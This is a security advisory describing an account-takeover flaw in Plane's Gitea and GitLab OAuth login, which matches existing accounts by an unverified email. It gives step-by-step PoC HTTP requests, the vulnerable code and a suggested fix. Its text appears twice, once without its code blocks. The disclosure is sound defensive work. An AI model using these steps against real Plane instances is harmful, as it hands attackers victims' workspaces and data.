AI/LLM disclosure
Our local AI agent accelerated recon during this engagement: enumerating the OAuth providers Plane ships, reading each provider's email-selection code, and locating the login path that matches accounts by email. I authored the vulnerability hypothesis and both PoCs, and I executed the live verification against a Plane Community Edition v1.2.3 docker-compose deployment and a Gitea 1.21 instance myself. No SaaS LLM received private credentials or non-public information beyond the open repository contents.
Precondition
The Plane instance authenticates with Gitea OAuth, or with self-managed GitLab OAuth (GITLAB_HOST set to an instance other than gitlab.com) where email confirmation is disabled. github.com and gitlab.com and Google are not affected because those providers only return verified emails; the defect is in Plane trusting the provider unconditionally.
Live PoC
The attacker holds no Plane account and does not know the victim's password. The attacker controls one Gitea identity whose email field is the victim's address. Victim bob@plane.test is a password account created independently in Plane.
Plane half (end to end). The attacker starts Gitea OAuth, then returns to the callback:
GET /auth/gitea/
HTTP/1.1 302 Found
Location: http://<gitea-host>/login/oauth/authorize?client_id=...&state=c4a3350b9d8443a59aa42052e50cbaa4
GET /auth/gitea/callback/?code=anyauthcode&state=c4a3350b9d8443a59aa42052e50cbaa4
Cookie: <attacker session>
HTTP/1.1 302 Found
Set-Cookie: session-id=<issued by Plane>
The resulting session belongs to the victim:
GET /api/users/me/
Cookie: session-id=<from the callback>
HTTP/1.1 200 OK
{"id":"36e49693-873d-4408-9640-fb75722dbbba","display_name":"bob","email":"bob@plane.test","is_email_verified":true,"is_password_autoset":false,"last_login_medium":"gitea"}
is_password_autoset:false shows bob is a pre-existing password account, not an OAuth-created one. last_login_medium:gitea shows the session was minted through the OAuth path. The attacker never supplied bob's password.
Gitea half (reachability). A real Gitea 1.21 with the default posture (REGISTER_EMAIL_CONFIRM=false, mailer disabled, registration open) hands out an attacker-chosen unverified email through the exact endpoint Plane reads:
POST /user/sign_up (self-service, no admin)
user_name=attacker2 & email=victim2@corp.test & password=...
HTTP/1.1 303 See Other
GET /api/v1/user
Authorization: Basic attacker2:...
HTTP/1.1 200 OK
{"id":1,"login":"attacker2","email":"victim2@corp.test","active":true, ...}
The account is active immediately and its /api/v1/user email is whatever the attacker typed. Set it to a victim's address and the Plane half above logs the attacker into that victim's account.
Root cause
apps/api/plane/authentication/adapter/base.py:289-360, complete_login_or_signup:
def complete_login_or_signup(self):
email = self.user_data.get("email")
email = self.sanitize_email(email) # format validation only
user = User.objects.filter(email=email).first() # line 297
is_signup = bool(user)
if not user:
... # new-user branch
...
user = self.save_user_data(user=user) # logs the matched account in
...
Line 297 selects the local account by email string. Nothing on this path inspects an email_verified claim, and nothing requires that the matched account was originally created through OAuth. A password account is logged in the same way. The provider's set_user_data supplies the email:
apps/api/plane/authentication/provider/oauth/gitea.py:149-173:
def set_user_data(self):
user_info_response = self.get_user_response()
...
email = user_info_response.get("email") # line 157: profile email, taken first
if not email:
email = self.__get_email(headers=headers)
super().set_user_data({"email": email, ...})
Line 157 takes the profile email from GET /api/v1/user first and only falls back to the primary-and-verified preference at gitea.py:134 when that field is empty, which it is not in normal accounts. The callback then logs the matched user in without further checks (apps/api/plane/authentication/views/app/gitea.py:91-93: user = provider.authenticate(); user_login(request=request, user=user, is_app=True)).
Provider scope
| Provider |
Email source |
Verified check |
Affected |
| Gitea |
gitea.py:157 profile email, taken first |
none for the profile email |
yes, default Gitea config |
| GitLab |
gitlab.py:111 /api/v4/user email |
none |
self-managed with confirmation off; gitlab.com verifies |
| GitHub |
github.py:120 primary email |
none in code, but github.com enforces primary==verified |
no on github.com |
| Google |
userinfo email |
none in code, Google verifies |
no on Google |
The base defect (no email_verified gate, password accounts logged in by email match) is provider-agnostic. It is reachable wherever the configured provider returns an attacker-controlled unverified email.
Suggested fix
Require a verified email before matching to an existing account. Two parts:
-
Carry the provider's verification signal into user_data and reject the login when it is absent or false. For Gitea, select the email through the primary-and-verified path (gitea.py:134) instead of the raw profile field at line 157, and treat a missing verified email as an error rather than falling through to the unverified profile value. For GitLab, request and check the verified email. For Google, check email_verified. GitHub already restricts to the primary email but should also assert the verified flag from /user/emails.
-
In complete_login_or_signup, do not log a user into a pre-existing local account through OAuth unless either the account was created through OAuth or the provider asserted a verified email that matches. Linking a new provider to an existing password account should be an explicit, authenticated action, not an implicit side effect of an email string match.
Impact
On a Plane instance configured with Gitea OAuth (or self-managed GitLab without email confirmation), the holder of a provider account whose email is set to a victim's address logs into that victim's Plane account, with full access to the victim's workspaces, projects, and data, and no knowledge of the victim's password. The attacker needs only the victim's email address, which is routinely known or enumerable. Targeting a workspace owner or admin yields control of that workspace.
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1, Critical). The metric choices, scored within the affected configuration that this report addresses (an instance with Gitea or self-managed GitLab OAuth enabled):
AC:L: the precondition that the instance uses an affected provider is stated as the affected configuration, not folded into access complexity. Within that configuration the attack carries no race, no man-in-the-middle, and no target preparation beyond the attacker's control. On a default Gitea (open registration, mailer disabled, REGISTER_EMAIL_CONFIRM=false) the attacker self-registers the victim's email and the login succeeds on the first attempt.
PR:N: the attack needs no privileges on Plane. The provider account is not a Plane privilege.
C:H/I:H: the session is the victim's, so the attacker reads and modifies all of the victim's data.
A:N: the takeover compromises confidentiality and integrity directly. Denial of the victim's resources (deleting a workspace the attacker now controls) is a downstream consequence of the integrity impact rather than a separate primary impact, so availability is left at None.
Provider note: on Gitea the path is unconditional in the default posture, since gitea.py:157 returns the unverified profile email. On self-managed GitLab the exploitability additionally depends on the instance running with email confirmation disabled; gitlab.com is not affected.
Affected versions confirmed
- Tag
v1.2.3: exploited end to end with the PoC above.
- Tag
v1.3.1 (latest stable, 2026-04-12): same code at base.py:297, gitea.py:157, gitea.py:91-93.
preview HEAD 039d582 (2026-05-21): same code.
Reproduction
Two attachments: poc_oauth_email_match_ato.sh (drives the Plane initiate and callback, then reads /api/users/me/) and mock_oauth_provider.py (a userinfo endpoint that returns a chosen email, standing in for the attacker's provider account so the chain reproduces without a second host).
python3 mock_oauth_provider.py (serves /api/v1/user with the victim email on :3300)
Point the instance Gitea config at the provider (set GITEA_HOST to the running provider, GITEA_CLIENT_ID and GITEA_CLIENT_SECRET to any value), create a victim password account, then:
PLANE_BASE=http://localhost:18080 VICTIM_EMAIL=bob@plane.test bash poc_oauth_email_match_ato.sh
Expected: HTTP 302 on the callback, then /api/users/me/ returns the victim email with is_password_autoset:false and last_login_medium:gitea. The included oauth_email_match_ato_transcript.txt also records a real Gitea 1.21 returning an attacker-chosen unverified email from /api/v1/user.
Attachments to include in the submission
AI/LLM disclosure
Our local AI agent accelerated recon during this engagement: enumerating the OAuth providers Plane ships, reading each provider's email-selection code, and locating the login path that matches accounts by email. I authored the vulnerability hypothesis and both PoCs, and I executed the live verification against a Plane Community Edition
v1.2.3docker-compose deployment and a Gitea1.21instance myself. No SaaS LLM received private credentials or non-public information beyond the open repository contents.Precondition
The Plane instance authenticates with Gitea OAuth, or with self-managed GitLab OAuth (
GITLAB_HOSTset to an instance other than gitlab.com) where email confirmation is disabled. github.com and gitlab.com and Google are not affected because those providers only return verified emails; the defect is in Plane trusting the provider unconditionally.Live PoC
The attacker holds no Plane account and does not know the victim's password. The attacker controls one Gitea identity whose email field is the victim's address. Victim
bob@plane.testis a password account created independently in Plane.Plane half (end to end). The attacker starts Gitea OAuth, then returns to the callback:
The resulting session belongs to the victim:
is_password_autoset:falseshowsbobis a pre-existing password account, not an OAuth-created one.last_login_medium:giteashows the session was minted through the OAuth path. The attacker never supplied bob's password.Gitea half (reachability). A real Gitea
1.21with the default posture (REGISTER_EMAIL_CONFIRM=false, mailer disabled, registration open) hands out an attacker-chosen unverified email through the exact endpoint Plane reads:The account is active immediately and its
/api/v1/useremail is whatever the attacker typed. Set it to a victim's address and the Plane half above logs the attacker into that victim's account.Root cause
apps/api/plane/authentication/adapter/base.py:289-360,complete_login_or_signup:Line 297 selects the local account by email string. Nothing on this path inspects an
email_verifiedclaim, and nothing requires that the matched account was originally created through OAuth. A password account is logged in the same way. The provider'sset_user_datasupplies the email:apps/api/plane/authentication/provider/oauth/gitea.py:149-173:Line 157 takes the profile email from
GET /api/v1/userfirst and only falls back to the primary-and-verified preference atgitea.py:134when that field is empty, which it is not in normal accounts. The callback then logs the matched user in without further checks (apps/api/plane/authentication/views/app/gitea.py:91-93:user = provider.authenticate(); user_login(request=request, user=user, is_app=True)).Provider scope
The base defect (no
email_verifiedgate, password accounts logged in by email match) is provider-agnostic. It is reachable wherever the configured provider returns an attacker-controlled unverified email.Suggested fix
Require a verified email before matching to an existing account. Two parts:
Carry the provider's verification signal into
user_dataand reject the login when it is absent or false. For Gitea, select the email through the primary-and-verified path (gitea.py:134) instead of the raw profile field at line 157, and treat a missing verified email as an error rather than falling through to the unverified profile value. For GitLab, request and check the verified email. For Google, checkemail_verified. GitHub already restricts to the primary email but should also assert theverifiedflag from/user/emails.In
complete_login_or_signup, do not log a user into a pre-existing local account through OAuth unless either the account was created through OAuth or the provider asserted a verified email that matches. Linking a new provider to an existing password account should be an explicit, authenticated action, not an implicit side effect of an email string match.Impact
On a Plane instance configured with Gitea OAuth (or self-managed GitLab without email confirmation), the holder of a provider account whose email is set to a victim's address logs into that victim's Plane account, with full access to the victim's workspaces, projects, and data, and no knowledge of the victim's password. The attacker needs only the victim's email address, which is routinely known or enumerable. Targeting a workspace owner or admin yields control of that workspace.
CVSS 3.1:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N(9.1, Critical). The metric choices, scored within the affected configuration that this report addresses (an instance with Gitea or self-managed GitLab OAuth enabled):AC:L: the precondition that the instance uses an affected provider is stated as the affected configuration, not folded into access complexity. Within that configuration the attack carries no race, no man-in-the-middle, and no target preparation beyond the attacker's control. On a default Gitea (open registration, mailer disabled,REGISTER_EMAIL_CONFIRM=false) the attacker self-registers the victim's email and the login succeeds on the first attempt.PR:N: the attack needs no privileges on Plane. The provider account is not a Plane privilege.C:H/I:H: the session is the victim's, so the attacker reads and modifies all of the victim's data.A:N: the takeover compromises confidentiality and integrity directly. Denial of the victim's resources (deleting a workspace the attacker now controls) is a downstream consequence of the integrity impact rather than a separate primary impact, so availability is left at None.Provider note: on Gitea the path is unconditional in the default posture, since
gitea.py:157returns the unverified profile email. On self-managed GitLab the exploitability additionally depends on the instance running with email confirmation disabled; gitlab.com is not affected.Affected versions confirmed
v1.2.3: exploited end to end with the PoC above.v1.3.1(latest stable, 2026-04-12): same code atbase.py:297,gitea.py:157,gitea.py:91-93.previewHEAD039d582(2026-05-21): same code.Reproduction
Two attachments:
poc_oauth_email_match_ato.sh(drives the Plane initiate and callback, then reads/api/users/me/) andmock_oauth_provider.py(a userinfo endpoint that returns a chosen email, standing in for the attacker's provider account so the chain reproduces without a second host).Point the instance Gitea config at the provider (set
GITEA_HOSTto the running provider,GITEA_CLIENT_IDandGITEA_CLIENT_SECRETto any value), create a victim password account, then:Expected: HTTP 302 on the callback, then
/api/users/me/returns the victim email withis_password_autoset:falseandlast_login_medium:gitea. The includedoauth_email_match_ato_transcript.txtalso records a real Gitea 1.21 returning an attacker-chosen unverified email from/api/v1/user.Attachments to include in the submission